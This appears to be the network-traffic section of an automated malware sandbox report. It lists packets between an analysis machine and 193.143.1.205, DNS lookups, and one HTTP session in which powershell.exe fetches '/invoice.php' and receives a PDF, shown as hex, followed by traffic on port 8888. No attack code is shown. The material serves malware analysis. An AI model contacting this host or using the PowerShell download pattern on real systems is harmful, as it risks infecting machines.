Jan 11, 2025 05:30:03.582928896 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.582952023 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.582976103 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583012104 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583024025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583033085 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583038092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583045006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583050013 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583117962 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583131075 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583142042 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583152056 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583163023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583179951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583195925 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583213091 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583389044 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583400965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583411932 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583422899 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583427906 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583435059 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583441019 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583446026 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583456993 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583466053 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583476067 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583476067 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583487034 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583504915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583509922 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583524942 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583524942 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583537102 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583540916 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583549023 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583559990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583566904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583568096 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583580017 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583599091 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583599091 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583611965 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583616972 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583625078 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583635092 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583646059 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583653927 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583664894 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583671093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583671093 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583677053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.583703041 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.583726883 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.621629953 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.621644020 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.621663094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.621675014 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.621686935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.621689081 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.621716976 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630554914 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630565882 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630577087 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630615950 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630620003 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630633116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630646944 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630647898 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630660057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630672932 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630685091 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630696058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630702972 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630743027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630748987 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630755901 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630769014 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630780935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630796909 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630819082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630819082 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.630830050 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630841970 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.630865097 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.647212029 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.650778055 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670308113 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670358896 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670383930 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670394897 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670407057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670418024 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670429945 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670439005 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670443058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670459032 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670460939 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670473099 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670481920 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670491934 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670514107 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670533895 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670533895 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670545101 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670553923 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670563936 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670574903 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670577049 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670583963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670614958 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670793056 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670803070 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670811892 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670829058 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670840025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670849085 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670851946 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670861006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670875072 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670875072 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670885086 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670895100 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670900106 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670912027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670917034 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670922995 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670926094 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670936108 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670952082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670954943 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670963049 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670975924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.670986891 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.670986891 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671026945 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671036005 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671073914 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671081066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671091080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671127081 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671154976 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671164989 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671175957 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671186924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671195984 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671196938 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671210051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671212912 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671252012 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671264887 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671276093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671293974 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671303988 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671322107 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671323061 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671333075 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671343088 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671343088 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671367884 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671387911 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671397924 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671408892 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671418905 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671420097 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671441078 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671482086 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671493053 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671504021 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671513081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671519995 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671546936 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671569109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671578884 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671602964 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671658039 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671669006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671679020 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671688080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671698093 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671700001 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671713114 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671721935 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671725988 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671736002 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671746016 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671746969 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671760082 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671768904 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671785116 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671796083 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671807051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671811104 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671833992 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671844006 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671855927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671879053 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671899080 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671909094 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671917915 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671931982 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671940088 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.671941996 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671952963 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.671974897 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672000885 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672086954 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672096968 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672106028 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672116995 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672126055 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672130108 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672136068 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672161102 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672177076 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672226906 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672238111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672246933 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672257900 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672269106 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672271013 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672278881 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672292948 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672321081 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672358990 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672369003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672379971 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672389030 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672398090 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.672399998 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.672435045 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.719104052 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719156981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719157934 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.719168901 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719189882 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719201088 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719211102 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.719213009 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719227076 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719234943 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.719239950 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719250917 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719263077 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719275951 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719285965 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.719288111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719325066 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719336033 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.719341040 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.719362020 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.719723940 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759042025 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759053946 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759076118 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759092093 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759104013 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759114981 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759126902 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759140015 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759141922 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759154081 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759164095 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759174109 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759182930 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759195089 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759206057 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759221077 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759222984 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759237051 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759246111 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759254932 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759254932 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759268999 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759279966 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759285927 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759327888 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759366035 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759377003 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759390116 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759411097 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759439945 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759442091 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759454966 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759464979 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759476900 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759489059 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759500027 CET	80	49747	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:03.759501934 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759522915 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.759557009 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:03.866974115 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:04.223514080 CET	49747	80	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:04.837981939 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:04.843139887 CET	8888	49767	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:04.843219995 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:04.843499899 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:04.848380089 CET	8888	49767	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:05.653359890 CET	8888	49767	193.143.1.205	192.168.2.9
Jan 11, 2025 05:30:05.705142021 CET	49767	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 05:30:07.315166950 CET	49767	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:30:12.831711054 CET	51732	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:30:12.831711054 CET	192.168.2.9	1.1.1.1	0xdff7	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:29:54.223845005 CET	1.1.1.1	192.168.2.9	0x4ad8	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:29:54.223845005 CET	1.1.1.1	192.168.2.9	0x4ad8	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:30:12.838644981 CET	1.1.1.1	192.168.2.9	0xdff7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:30:13.574083090 CET	1.1.1.1	192.168.2.9	0xe668	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:30:13.574083090 CET	1.1.1.1	192.168.2.9	0xe668	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49747	193.143.1.205	80	7580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:30:02.163558960 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:30:02.978775978 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:30:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 